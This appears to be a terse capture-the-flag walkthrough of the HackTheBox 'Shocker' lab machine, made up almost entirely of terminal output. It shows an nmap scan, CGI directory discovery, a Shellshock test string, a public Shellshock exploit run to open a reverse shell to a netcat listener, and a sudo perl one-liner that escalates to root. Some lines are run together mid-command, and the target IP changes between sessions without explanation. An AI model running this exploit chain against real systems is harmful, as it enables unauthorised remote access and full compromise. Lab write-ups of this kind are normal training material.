```
[]$ nmap -Pn -T4 -A -v 10.129.1.175

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Using the Dirbuster lowercase medium directory list at :
/usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt

http://10.129.1.175:80/cgi-bin/

the entry method will be through a script in  sh]$ nc -nlvp 1234
listening on [any] 1234 ...


[]$ nc -nlvp 1234
listening on [any] 1234 ...

connect to [10.10.14.64] from (UNKNOWN) [10.129.1.175] 41878

shelly@Shocker:/usr/lib/cgi-bin$ x='() { :;}; echo VULNERABLE' bash -c :
x='() { :;}; echo VULNERABLE' bash -c :
VULNERABLE

shelly@Shocker:/$ cd home
cd home
shelly@Shocker:/home$ ls
ls
shelly
shelly@Shocker:/home$ cd shelly
cd shelly
shelly@Shocker:/home/shelly$ ls
ls
user.txt
shelly@Shocker:/home/shelly$ cat user.txt
cat user.txt
6d4af42ca86b********************


Elevation :

https://www.exploit-db.com/exploits/34900

[]$ ./shellshock.py payload=reverse rhost=10.129.1.175 lhost=10.10.14.64 lport=12347
pages=/cgi-bin/user.sh

[!] Started reverse shell handler
[-] Trying exploit on : /cgi-bin/user.sh
[!] Successfully exploited
```

```
[!] Incoming connection from 10.129.80.34
10.129.80.34> id
uid=1000(shelly) gid=1000(shelly)
groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sa
mbashare)

10.129.80.34> sudo /usr/bin/perl -e 'exec "/bin/sh"'
10.129.80.34> id
uid=0(root) gid=0(root) groups=0(root)

10.129.80.34> cd /root
10.129.80.34> pwd
/root

10.129.80.34> ls
root.txt

10.129.80.34> cat root.txt
7739e4fb76f5********************
```